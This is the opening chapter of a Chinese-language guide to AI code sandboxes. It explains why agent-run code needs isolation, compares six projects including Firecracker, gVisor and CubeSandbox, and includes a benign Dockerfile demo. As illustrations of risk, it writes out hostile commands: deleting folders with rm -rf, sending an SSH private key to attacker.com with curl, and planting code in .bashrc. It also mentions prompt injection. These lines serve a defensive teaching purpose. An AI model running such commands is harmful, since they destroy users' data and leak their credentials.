第一章 · 这个领域在解决什么问题

1.1 一个故事：你让 AI 帮你写代码

想象这样一个场景：你打开 Claude Code 或者 Cursor，跟 AI 说”帮我写一个 Python 脚本，把 Downloads 文件夹里的所有 PDF 按日期重命名”。AI 很快给出了代码——但这段代码需要被执行才能完成任务。

问题来了：这段代码是 AI 生成的，不是你自己写的。你怎么知道它不会干出这些事？

误删你的照片文件夹（rm -rf ~/Photos）
偷偷把你的 SSH 密钥发到某个服务器（curl attacker.com -d @~/.ssh/id_rsa）
跑一个死循环把你的电脑 CPU 占满（while True: pass）
往你的 .bashrc 里写入恶意代码，下次开终端就自动执行

大多数时候 AI 不会做这些事。但「大多数时候」不等于「永远不会」——特别是当有人在提示词里故意夹带恶意指令（这叫提示注入，后面会详细讲）的时候。

代码沙箱就是为了解决这个问题：给 AI 生成的代码一个”安全屋”——代码可以在里面随便跑，但不管做什么都不会影响到外面的真实世界。

沙箱（sandbox）：一个隔离的执行环境。代码在沙箱里可以读写文件、发网络请求、跑进程，但这些操作都被限制在沙箱内部，不会泄漏到宿主机。名字来源于儿童游乐场的沙坑——小孩在里面随便玩沙子，但沙子不会跑到坑外面。

1.2 为什么现在这个问题特别紧迫

三年前（2023 年），AI 写代码还是个新鲜事。你让 ChatGPT 写段代码，它写完你自己看一遍再手动跑——等于你是最后一道安全关卡。

但到了 2026 年，情况变了：

AI Agent 自己执行代码了。Codex、Claude Code、Manus、Devin——这些产品让 AI 不只是「写代码」，而是「写完直接执行」。人类不再是每一步的把关者。AI 可能连续执行几十条命令，中间没有人类审核。

规模上来了。一个 Agent 可能同时派出 100 个子 Agent（这叫 Swarm 模式），每个都在独立执行代码。如果没有隔离，一个子 Agent 出问题就可能影响所有其他子 Agent。

商业化了。E2B、Daytona 这样的产品让任何人都可以通过 API 把代码提交给云端执行——你的代码和别人的代码可能在同一台物理机上跑。这就是「多租户」场景，安全要求陡然上升。

1.3 这个领域叫什么名字

这个领域没有一个统一的名字。不同的人从不同角度叫它不同的东西：

微虚拟化（micro-virtualization / microVM）：从底层技术角度的叫法。强调的是用精简的虚拟机做隔离，区别于传统的重量级虚拟机。

AI 代码沙箱（AI code sandbox）：从应用场景角度的叫法。强调的是为 AI Agent 的代码执行提供安全环境。

安全容器（secure container）：从云原生角度的叫法。强调的是在容器技术（Docker/K8s）上增加 VM 级别的隔离。

这三个名字描述的是同一个领域的不同侧面。本导读统一用「AI 代码沙箱」来指代整个领域。

1.4 六个项目，六种解题思路

这个赛道研究的是 6 个开源项目，它们用不同的方式解决同一个问题——「怎么安全地执行不可信代码」。

用一个日常类比来理解它们的关系：

项目	类比	一句话说它在做什么
Firecracker	汽车发动机制造商	造微虚拟化引擎——最底层的隔离技术
CubeSandbox	造了一台即插即用的赛车	引擎和 Firecracker 同源，方向盘接口和 E2B 通用，自己加了快照和网络安全
E2B	租车平台（Uber）	用 Firecracker 的引擎，加上 App 和计费，你只管叫车
Daytona	汽车 + 车库 + 维修厂的全套体验	不只是车，是整个用车生态——Dashboard、终端、VNC 一应俱全
gVisor	驾驶模拟器	不是真车（不用 KVM 硬件），但让你体验”开车”的感觉
Kata Containers	密封集装箱货轮	每个集装箱是一个独立密封舱（VM），但用叉车（Docker/K8s 接口）管理

读到这里你应该懂了：6 个项目不是互相竞争的同质产品，而是在不同的层次、面向不同的场景做事。后面的章节会一个个展开讲。

1.5 这条赛道和「犀牛鸟 2026」的关系

犀牛鸟 2026 是一个开源贡献竞赛。CubeSandbox 是其中一个赛道项目。你的目标是在 2026 年 7 月到 9 月之间，给 CubeSandbox 提交有价值的贡献（代码、文档、测试），拿到社区认可。

理解整个领域的全景——6 个项目各自做什么、解决什么问题、有什么取舍——不只是为了应付竞赛，更是为了让你的贡献有深度。一个理解了 Firecracker 为什么砍掉 BIOS 的人，写出的 CubeSandbox 文档比只会复制 README 的人好十倍。

1.6 最小体感：5 行 Dockerfile 感受”隔离”

在你理解所有技术细节之前，先用 5 行代码体验一下”沙箱隔离”的核心直觉：

# sandbox-demo.Dockerfile — 最小沙箱隔离演示
FROM alpine:3.19                    # 1. 从干净的迷你 Linux 开始
RUN adduser -D sandbox              # 2. 创建无特权用户
USER sandbox                        # 3. 切换到该用户（不能 sudo）
WORKDIR /tmp                        # 4. 限制工作目录
CMD ["sh", "-c", "echo 我被隔离了; ls /root 2>&1 || true"]  # 5. 尝试访问宿主——失败

运行：docker build -f sandbox-demo.Dockerfile -t demo . && docker run --rm demo

你会看到：容器里的代码无法访问 /root，无法安装软件，无法看到宿主机文件。这就是最原始的”隔离”——后续章节讲的所有技术（gVisor、Firecracker、CubeSandbox）本质上都是在回答同一个问题：如何让这种隔离更强、更快、更适合 AI Agent 的使用场景。

1.7 读完本章你能做什么

能跟别人解释「AI 代码沙箱」是什么、为什么 2026 年这个问题比 2023 年更紧迫
能说出 6 个项目的名字和一句话定位
知道这个赛道不是一个项目，而是一个有层次的生态
能运行上面的 5 行 Dockerfile 并解释”隔离”在这里意味着什么

章节自测

如果一个 AI Agent 需要帮用户运行 rm -rf / 来”清理磁盘”，没有沙箱会发生什么？有了沙箱后，你会如何设计隔离策略？
容器（Docker）已经能隔离进程了，为什么 AI 场景还需要 gVisor / Firecracker 这样的更强隔离？试从”攻击面”角度思考。
六个项目中，哪些偏向”引擎”层（提供隔离能力），哪些偏向”平台”层（编排多个沙箱）？你觉得竞赛选哪一层切入更容易产出贡献？

导读目录：README.md 下一章：第二章 · 六个项目一览：从发动机到整车